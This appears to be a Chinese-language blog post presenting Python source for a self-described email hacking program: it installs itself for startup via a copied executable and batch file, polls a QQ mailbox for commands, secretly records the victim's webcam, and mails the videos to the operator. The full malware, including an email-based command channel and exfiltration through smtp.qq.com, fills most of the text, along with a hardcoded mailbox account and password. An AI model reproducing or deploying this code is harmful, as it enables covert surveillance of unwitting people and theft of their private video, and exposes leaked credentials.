python 製作郵件黑客程序,程序實現開機自啓,發送郵件控制攝像頭開啓,錄像發回郵箱

# -*- coding: UTF-8 -*-                                                                                            
import re                                                                                                          
import time                                                                                                        
import cv2                                                                                                         
import datetime  #引入datetime模塊                                                                                                                   
from Email import Mail_Helper_DG                                                                                   
import base64
import os
import tempfile,sys
#刪除文件夾下面的所有文件(只刪除文件,不刪除文件夾)
import shutil
#python刪除文件的方法 os.remove(path)path指的是文件的絕對路徑,如:
# os.remove(r"E:\code\practice\data\1.py")#刪除文件
# os.rmdir(r"E:\code\practice\data\2")#刪除文件夾(只能刪除空文件夾)
# shutil.rmtree(r"E:\code\practice\data\2")#刪除文件夾
# path_data = "E:\code\practice\data"#
def del_file(path_data):
    for i in os.listdir(path_data) :# os.listdir(path_data)#返回一個列表,裏面是當前目錄下面的所有東西的相對路徑
        file_data = path_data + "\\"+ i #當前文件夾的下面的所有東西的絕對路徑
        if os.path.isfile(file_data) == True: #os.path.isfile判斷是否爲文件,如果是文件,就刪除.如果是文件夾.遞歸給del_file.
            os.remove(file_data)
        else:
            del_file(file_data)


file_path  = os.path.abspath(__file__)
folder_path1 = os.getcwd()
folder_path2 = os.getcwd().replace('\\','/')
print(file_path)
print(folder_path1)
print(folder_path2)

#判斷文件是否存在不存在則創建
if not os.path.exists('C:/Users/tsvvideo.exe'):
   shutil.copyfile(folder_path2+'/tsvvideo.exe', 'C:/Users/tsvvideo.exe')

#創建文件
file_path="


/copy_writer.bat"
msg='start C:/Users/tsvvideo.exe '
def create__file(file_path,msg):
    f=open(file_path,"a")
    f.write(msg)
    f.close
#判斷文件是否存在不存在則創建
if not os.path.exists(file_path):
   create__file(file_path,msg)


#sys.stderr=tempfile.TemporaryFile() 
               
#錄製視頻
def video1(path,cap):
        ## opening videocapture
        #cap = cv2.VideoCapture(0)
         
        ## some videowriter props
        sz = (int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)),
                int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)))
         
        fps = 20
        #fourcc = cv2.VideoWriter_fourcc('m', 'p', '4', 'v')
        #fourcc = cv2.VideoWriter_fourcc('m', 'p', 'e', 'g')
        fourcc = cv2.VideoWriter_fourcc(*'mpeg')
         
        ## open and set props
        vout = cv2.VideoWriter()
        vout.open(path,fourcc,fps,sz,True)
         
        cnt = 0
        while cnt<2000:
            cnt += 1
            print(cnt)
            _, frame = cap.read()
            cv2.putText(frame, str(cnt), (10, 20), cv2.FONT_HERSHEY_PLAIN, 1, (0,255,0), 1, cv2.LINE_AA)
            vout.write(frame)
         
        #vout.release()
        #cap.release()
        


                                                                                                    
toAddressArray = ['[email protected]']  # 收件人的郵箱,可發送給多人                                                        
                                                                                                                   
content = """                                                                                                      
當前攝像頭捕獲的結果:                                                                                                        
"""                                                                                                                
                                                                                                                   
                                                                                                                   
# 獲取當前時間                                                                                                           
def getCurrentTime():                                                                                              
    return datetime.datetime.now().strftime('%Y%m%d%H%M%S')
#str(time.strftime('%Y{y}%m{m}%d %X').format(y='-',m='-')) 
#
#time.strftime('’%Y-%m-%d-%X’', time.localtime(time.time()))                                       
#time.strftime(u'%Y年%m月%d日',time.localtime(time.time()))                                                                                                         
                                                      
# 程序啓動標識                                                                                                           
print('QiXiao`s SHS Starting ...')                                                                                 
# 初始化郵件發送類                                                                                                         
mail = Mail_Helper_DG()                                                                                            
                                                                                                                   
# 聲明一個變量,來作爲一個標記判斷是否已經檢測過當前這封郵件了                                                                                   
last_receiveMailDate = ''                                                                                          
# 輸出顯示當前掃描郵箱服務器的次數                                                                                                 
scan_index = 0                                                                                                     
# 設置一個循環檢測郵箱的方法                                                                                                    
while True:                                                                                                        
    time.sleep(10)  # 設置檢測郵箱服務器的時間間隔                                                                               
    print(getCurrentTime() + ' : scan item >>> ' + str(scan_index))                                                
    scan_index += 1  # 掃描次數累加                                                                                      
    try:                                                                                                           
        # 通過Pop3 獲取到郵件的第一條                                                                                         
        mailBody = mail.ReceiveMail()  
        print(mailBody)
        #print("hhhhhhhhhhhhhhhhhhhhh",mailBody[1]) 
        # 解析第一條郵件,並得到發件人,主題,日期                                                                                                                                                                         
        info_emil=""
        pat = re.compile('From: (.*) <.*?>$')        
        for elem in  mailBody[1]:
            try:
               if pat !=None :
                  m=pat.match(info_emil.join(elem.decode('utf-8')))
                  sender=re.search(r"\w\S*@.*\w",m.group(0)).group(0);
               else:
                  continue
            except:
                pass
            continue  
        print("錯誤在哪裏了") 
        if sender != '[email protected]':
             continue
        subject = re.search("Subject: (.*?)'.",str(mailBody[1]), re.S).group(1)
        print("錯誤可能在subject-----",subject)               
        date = re.search("Date: (.*?)'.", str(mailBody[1]), re.S).group(1) 
        print("錯誤可能在date",date)
        #判斷路徑是否存在,不存在則創建
        path = "C:\\Program Files\\Windows Mail\\files\\video\\"
        if not os.path.exists(path):
           os.makedirs(path)
        del_file(path[0:len(path)-1])                                                                                                                                                 
        # 判斷解析到的參數值                                                                                                
        if  date != last_receiveMailDate:                                                                           
            # 對發送方進行郵箱判斷,否則任何人都可以發送命令,你懂得                                                                          
            if sender == '[email protected]':                                                                  
                # 對命令進行分析                                                                                          
                if subject.__contains__('qx_cmd:'):                                                                
                    cmd = subject.split(':')[1]                                                                    
                    # 按cmd的命令來匹配要執行的操作:                                                                            
                    # catch-camera 捕獲攝像頭的操作                                                                        
                    if cmd == 'catch-camera':                        
                        # 載入圖像,連續捕獲數張圖片,間隔三秒                                                                       
                        video = cv2.VideoCapture(0)                                                                
                        time.sleep(3)                                                                              
                        #ret, img = video.read()                                                                    
                        #cv2.imwrite(path+"shoot_001.jpg", img)
                                                                           
                        video1(path+getCurrentTime()+"+output_001.mp4",video)
                        print(getCurrentTime())                                                                                       
                        time.sleep(10)                                                                              
                        #ret, img = video.read()                                                                    
                        #cv2.imwrite(path+"shoot_002.jpg", img)                                                   
                        
                        video1(path+getCurrentTime()+"output_002.mp4",video)
                        print(getCurrentTime())                                                                                           
                        time.sleep(10)                                                                              
                        #ret, img = video.read()                                                                    
                        #cv2.imwrite(path+"shoot_003.jpg", img)  
                        
                        video1(path+getCurrentTime()+"output_003.mp4",video)                                                 
                        print(getCurrentTime())                                                                                           
                        video.release()  # 關閉攝像頭                                                                   
                        result = mail.SendMailAttachment(toAddressArray, getCurrentTime(),                                 
                                                         getCurrentTime()+"`s SHS ", content,
                                                         path)                                                  
                        if result is True:                                                                         
                            print(getCurrentTime() + ' : send mail success !')                                     
                        else:                                                                                      
                            print(getCurrentTime() + ' : send fail #')                                             
                                                                                                                   
                    # 讓當前這條信息的日期賦值給標記變量,以便下次略過當前這條信息                                                               
                    last_receiveMailDate = date                                                                    
    except:                                                                                              
        print(getCurrentTime() + 'Error:' + Exception)
        pass
    continue                

 

# -*- coding: UTF-8 -*-
import os
import poplib
import smtplib
from email.mime.application import MIMEApplication
from email.mime.audio import MIMEAudio
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formataddr


class Mail_Helper_DG:
    my_smtp_server = 'smtp.qq.com'  # smtp 郵件服務地址
    my_pop3_server = 'pop.qq.com'  # pop3 郵件服務地址
    mail_type = 'html'  # 發送的郵件的格式,HTML或者Plain
    my_account = '[email protected]'  # 發件人郵箱賬號
    my_pwd = 'wyjhmdbhfpdybhee'  # 發件人郵箱密碼
    toAddressArray = ['[email protected]','[email protected]']  # 收件人的郵箱,可發送給多人

    def __init__(self):
        pass

    # 發送郵件
    def SendMail(self, toAddressArray, senderName, subject, content):
        try:
            server = smtplib.SMTP(self.my_smtp_server, 465)  # 發件人郵箱中的SMTP服務器,端口是25

            try:
                msg = MIMEText(content, self.mail_type, 'utf-8')
                msg['From'] = formataddr([senderName, self.my_account])  # 括號裏的對應發件人郵箱暱稱、發件人郵箱賬號
                # msg['To'] = formataddr(["FK", my_account])  # 括號裏的對應收件人郵箱暱稱、收件人郵箱賬號
                msg['Subject'] = subject  # 郵件的主題,也可以說是標題

                server.login(self.my_account, self.my_pwd)  # 括號中對應的是發件人郵箱賬號、郵箱密碼
                server.sendmail(self.my_account, toAddressArray, msg.as_string())  # 括號中對應的是發件人郵箱賬號、收件人郵箱賬號、發送郵件
            except Exception:
                print(Exception)
                return False
            finally:
                server.quit()  # 關閉連接
            return True
        except Exception:
            print(Exception)
            return False

    # 發送郵件帶附件
    def SendMailAttachment(self, toAddressArray, senderName, subject, content, attachment_path):
        print("打印郵件信息") 
        print(self.my_account,self.my_pwd)       
        try:
            #server = smtplib.SMTP(self.my_smtp_server, 465)  # 發件人郵箱中的SMTP服務器,端口是25
            server = smtplib.SMTP_SSL(self.my_smtp_server, 465)

            try:
                server.login(self.my_account, self.my_pwd)  # 括號中對應的是發件人郵箱賬號、郵箱密碼

                msg = MIMEMultipart()  # create MIMEMultipart
                msg['From'] = formataddr([senderName, self.my_account])  # 括號裏的對應發件人郵箱暱稱、發件人郵箱賬號
                # msg['To'] = formataddr(["FK", my_account])  # 括號裏的對應收件人郵箱暱稱、收件人郵箱賬號
                msg['Subject'] = subject  # 郵件的主題,也可以說是標題
                content2 = MIMEText(content,
                                    _charset='utf-8')  # add email content  ,coding is gbk, becasue chinese exist
                msg.attach(content2)
                print("下面是文件圖片文件路徑",msg)
                print(os.listdir(attachment_path),"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy")
                for attachment_name in os.listdir(attachment_path):
                    attachment_file = os.path.join(attachment_path, attachment_name)
                    print("路徑位置",attachment_name,attachment_file)
                    
                    with open(attachment_file, 'rb') as attachment:
                        if 'application' == 'text':
                            attachment = MIMEText(attachment.read(), _subtype='octet-stream', _charset='GB2312')
                        elif 'application' == 'image':
                            attachment = MIMEImage(attachment.read(), _subtype='octet-stream')
                        elif 'application' == 'audio':
                            attachment = MIMEAudio(attachment.read(), _subtype='octet-stream')
                        else:
                            attachment = MIMEApplication(attachment.read(), _subtype='octet-stream')

                    attachment.add_header('Content-Disposition', 'attachment', filename=('gbk', '', attachment_name))
                    # make sure "attachment_name is chinese" right
                    msg.attach(attachment)
                    
                print("打印郵件信息")
               
                print(self.my_account, toAddressArray, msg.as_string())
                                
                server.sendmail(self.my_account, toAddressArray, msg.as_string())  # 括號中對應的是發件人郵箱賬號、收件人郵箱賬號、發送郵件
            except Exception:
                print(Exception)
                return False
            finally:
                server.quit()  # 關閉連接
            return True
        except Exception:
            print(Exception)
            return

    # 接收郵件
    def ReceiveMail(self):
        # 創建一個pop3對象,這個時候實際上已經連接上服務器了
        pp = poplib.POP3(self.my_pop3_server)
        # 設置調試模式,可以看到與服務器的交互信息
        pp.set_debuglevel(1)
        # 向服務器發送用戶名
        pp.user(self.my_account)
        # 向服務器發送密碼
        pp.pass_(self.my_pwd)
        # 返回郵箱的狀態,返回2元祖(消息的數量,消息的總字節)
        # msgCount, msgSize = pp.stat()

        ret = pp.list()
        #print(ret)
        print("9999999999999999999999999999999999999999999999999999999")
        mailBody = pp.retr(len(ret[1]))
        # 釋放pp
        pp.quit()

        return mailBody

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

                                                

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章